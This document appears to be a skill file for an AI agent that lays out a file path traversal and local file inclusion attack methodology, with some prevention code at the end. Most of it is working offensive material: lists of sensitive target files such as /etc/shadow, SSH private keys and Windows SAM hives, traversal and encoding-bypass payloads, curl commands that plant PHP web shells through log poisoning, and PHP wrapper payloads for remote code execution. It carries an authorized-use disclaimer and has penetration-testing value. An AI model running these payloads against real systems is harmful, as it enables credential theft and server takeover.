This skill should be used when the user asks to "test for directory traversal", "exploit path traversal vulnerabilities", "read arbitrary files through web applications", "find LFI vulnerabilities", or "access files outside web root". It provides comprehensive file path traversal attack and testing methodologies.
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
File Path Traversal Testing
Purpose
Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.
Prerequisites
Required Tools
Web browser with developer tools
Burp Suite or OWASP ZAP
cURL for testing payloads
Wordlists for automation
ffuf or wfuzz for fuzzing
Required Knowledge
HTTP request/response structure
Linux and Windows filesystem layout
Web application architecture
Basic understanding of file APIs
Outputs and Deliverables
Vulnerability Report - Identified traversal points and severity
Exploitation Proof - Extracted file contents
Impact Assessment - Accessible files and data exposure
# System files
/etc/passwd # User accounts
/etc/shadow # Password hashes (root only)
/etc/group # Group information
/etc/hosts # Host mappings
/etc/hostname # System hostname
/etc/issue # System banner
# SSH files
/root/.ssh/id_rsa # Root private key
/root/.ssh/authorized_keys # Authorized keys
/home/<user>/.ssh/id_rsa # User private keys
/etc/ssh/sshd_config # SSH configuration
# Web server files
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/apache2/sites-enabled/000-default.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
# Application files
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess
/var/www/html/web.config
# Process information
/proc/self/environ # Environment variables
/proc/self/cmdline # Process command line
/proc/self/fd/0 # File descriptors
/proc/version # Kernel version
# Common application configs
/etc/mysql/my.cnf
/etc/postgresql/*/postgresql.conf
/opt/lampp/etc/httpd.conf
Phase 6: Windows Target Files
Windows-specific targets:
# System files
C:\windows\win.ini
C:\windows\system.ini
C:\boot.ini
C:\windows\system32\drivers\etc\hosts
C:\windows\system32\config\SAM
C:\windows\repair\SAM
# IIS files
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\
# Configuration files
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\data\mysql\user.MYD
C:\xampp\passwords.txt
C:\xampp\phpmyadmin\config.inc.php
# User files
C:\Users\<user>\.ssh\id_rsa
C:\Users\<user>\Desktop\
C:\Documents and Settings\<user>\
Phase 7: Automated Testing
Using Burp Suite
1. Capture request with file parameter
2. Send to Intruder
3. Mark file parameter value as payload position
4. Load path traversal wordlist
5. Start attack
6. Filter responses by size/content for success
# Inject PHP code into logs
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# Include Apache log file
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
# Include auth.log (SSH)
# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
Proc/self/environ
# Inject via User-Agent
curl -A "<?php system('id'); ?>" \
"http://target.com/page?file=/proc/self/environ"
# With command parameter
curl -A "<?php system(\$_GET['c']); ?>" \
"http://target.com/page?file=/proc/self/environ&c=whoami"
PHP Wrapper Exploitation
# php://filter - Read source code as base64
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
# php://input - Execute POST data as PHP
curl -X POST -d "<?php system('id'); ?>" \
"http://target.com/page?file=php://input"
# data:// - Execute inline PHP
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"
# expect:// - Execute system commands
curl "http://target.com/page?file=expect://id"
Phase 9: Testing Methodology
Structured testing approach:
# Step 1: Identify potential parameters
# Look for file-related functionality
# Step 2: Test basic traversal
../../../etc/passwd
# Step 3: Test encoding variations
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
# Step 4: Test bypass techniques
....//....//....//etc/passwd
..;/..;/..;/etc/passwd
# Step 5: Test absolute paths
/etc/passwd
# Step 6: Test with null bytes (legacy)
../../../etc/passwd%00.jpg
# Step 7: Attempt wrapper exploitation
php://filter/convert.base64-encode/resource=index.php
# Step 8: Attempt log poisoning for RCE
Phase 10: Prevention Measures
Secure coding practices:
// PHP: Use basename() to strip paths
$filename = basename($_GET['file']);
$path = "/var/www/files/" . $filename;
// PHP: Validate against whitelist
$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];
if (in_array($_GET['file'], $allowed)) {
include("/var/www/files/" . $_GET['file']);
}
// PHP: Canonicalize and verify base path
$base = "/var/www/files/";
$realBase = realpath($base);
$userPath = $base . $_GET['file'];
$realUserPath = realpath($userPath);
if ($realUserPath && strpos($realUserPath, $realBase) === 0) {
include($realUserPath);
}
# Python: Use os.path.realpath() and validate
import os
def safe_file_access(base_dir, filename):
# Resolve to absolute path
base = os.path.realpath(base_dir)
file_path = os.path.realpath(os.path.join(base, filename))
# Verify file is within base directory
if file_path.startswith(base):
return open(file_path, 'r').read()
else:
raise Exception("Access denied")
